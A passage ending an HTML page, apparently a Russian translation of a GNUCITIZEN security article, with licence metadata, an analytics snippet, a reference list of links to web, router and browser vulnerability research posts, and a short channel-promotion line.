<dc:creator><Agent><dc:title>Petko D.
Petkov</dc:title></Agent></dc:creator>
<dc:rights><Agent><dc:title>Petko D.
Petkov</dc:title></Agent></dc:rights>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/Text" />
<dc:source
rdf:resource="http://www.gnucitizen.org" />
</Work>
<License
rdf:about="http://creativecommons.org/licenses/by-nc-nd/2.5/">
<permits
rdf:resource="http://web.resource.org/cc/Reproduction"/>
<permits
rdf:resource="http://web.resource.org/cc/Distribution"/>
<requires
rdf:resource="http://web.resource.org/cc/Notice"/>
<requires
rdf:resource="http://web.resource.org/cc/Attribution"/>
<prohibits
rdf:resource="http://web.resource.org/cc/commercial use"/>
</License>
</rdf:RDF> –>
<script src="http://www.googleanalytics.
com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">_uacct = "UA-363996-1";
urchinTracker();</script>
</body>
</html>
ССЫЛКИ
GNUCITIZEN
http://www.gnucitizen.org
GNUCITIZEN .COM
http://www.gnucitizen.com
PDP | GNUCITIZEN
http://www.gnucitizen.org/about/pdp
Cross-site request forgery | Wikipedia
http://en.wikipedia.org/wiki/Cross-site_request_forgery
Google GMail E-mail Hijack Technique | GNUCITIZEN
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
WARNING: Google’s GMail security failure leaves my business sabotaged | David Airey
http://www.davidairey.co.uk/google-gmail-security-hijack/
Collective effort restores David Airey.com | David Airey
http://www.davidairey.co.uk/david-airey-dot-com-restored/
AP | GNUCITIZEN
http://www.gnucitizen.org/about/ap
BT Home Flub: Pwnin the BT Home Hub (4) | GNUCITIZEN
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4/
Call Jacking: Phreaking the BT Home Hub | GNUCITIZEN
http://www.gnucitizen.org/blog/call-jacking/
Cross-site File Upload Attacks | GNUCITIZEN
http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/
CSRF-ing File Upload Fields | kuza55
http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html
0DAY: QuickTime pwns Firefox | GNUCITIZEN
http://www.gnucitizen.org/projects/0day-quicktime-pwns-firefox/
IE pwns SecondLife | GNUCITIZEN
http://www.gnucitizen.org/blog/ie-pwns-secondlife
Remote Desktop Command Fixation Attacks | GNUCITIZEN
http://www.gnucitizen.org/blog/remote-desktop-command-fixation-attacks/
BT Home Hub and Thomson/Alcatel Speedtouch 7G Multiple Vulnerabilities | SecurityFocus
http://www.securityfocus.com/bid/25972
Firebug Goes Evil | GNUCITIZEN
http://www.gnucitizen.org/projects/firebug-goes-evil/
Vulnerabilities in Skype | GNUCITIZEN
http://www.gnucitizen.org/blog/vulnerabilities-in-skype/
Skype videomood XSS | Full Disclosure
http://seclists.org/fulldisclosure/2008/Jan/0328.html
Skype cross-zone scripting vulnerability | Aviv Raff On .NET
http://aviv.raffon.net/2008/01/17/SkypeCrosszoneScriptingVulnerability.aspx
Aviv Raff On .NET
http://aviv.raffon.net
Attackers can SkypeFind you | Aviv Raff On .NET
http://aviv.raffon.net/2008/01/31/AttackersCanSkypeFindYou.aspx
Airpwn
http://airpwn.sourceforge.net/Airpwn.html
KARMA Wireless Client Security Assessment Tools
http://theta44.org/karma/index.html
Web Mayhem: Firefox’s JAR: Protocol issues | GNUCITIZEN
http://www.gnucitizen.org/blog/web-mayhem-firefoxs-jar-protocol-issues/
Java JAR Attacks and Features | GNUCITIZEN
http://www.gnucitizen.org/blog/java-jar-attacks-and-features/
Severe XSS in Google and Others due to the JAR protocol issues | GNUCITIZEN
http://www.gnucitizen.org/blog/severe-xss-in-google-and-others-due-to-the-jar-protocol-issues/
Hacking without 0days: Drive-by Java | GNUCITIZEN
http://www.gnucitizen.org/blog/hacking-without-0days-drive-by-java/
Firefox jar: Protocol Vulnerability | blog.beford.org
http://blog.beford.org/?p=8
beford.org
http://blog.beford.org/
Hacking The Interwebs | GNUCITIZEN
http://www.gnucitizen.org/blog/hacking-the-interwebs/
Hacking with UPnP (Universal Plug and Play) | GNUCITIZEN
http://www.gnucitizen.org/blog/hacking-with-upnp-universal-plug-and-play/
Flash UPnP Attack FAQ | GNUCITIZEN
http://www.gnucitizen.org/blog/flash-upnp-attack-faq/
R00Ting Public WiFi Networks: DHCP Name Poisoning Attacks | GNUCITIZEN
http://www.gnucitizen.org/blog/r00ting-public-wifi-networks-dhcp-name-poisoning-attacks/
DHCP/mDNS Injection Issues | GNUCITIZEN
http://www.gnucitizen.org/blog/dhcpmdns-injection-issues/
Hacking Video Surveillance Networks | GNUCITIZEN
http://www.gnucitizen.org/blog/hacking-video-surveillance-networks/
UPnP: The Saga Continues | GNUCITIZEN
http://www.gnucitizen.org/blog/upnp-the-saga-continues/
J@§.n’s Stack Trace
http://jasonmacpherson.com/
Jason Macpherson responds: | R00Ting Public WiFi Networks: DHCP Name Poisoning Attacks
http://www.gnucitizen.org/blog/r00ting-public-wifi-networks-dhcp-name-poisoningattacks/#comment-105287
Browser Rootkits | GNUCITIZEN
http://www.gnucitizen.org/blog/browser-rootkits/
Carnaval | GNUCITIZEN
http://www.gnucitizen.org/projects/carnaval
Introducing Carnaval | GNUCITIZEN
http://www.gnucitizen.org/blog/introducing-carnaval
Greasecarnaval | GNUCITIZEN
http://www.gnucitizen.org/projects/greasecarnaval/
ZombieMap | GNUCITIZEN
http://www.gnucitizen.org/projects/zombiemap
Тени в интернете всегда следят за вами
Станьте невидимкой – подключайтесь к нашему каналу.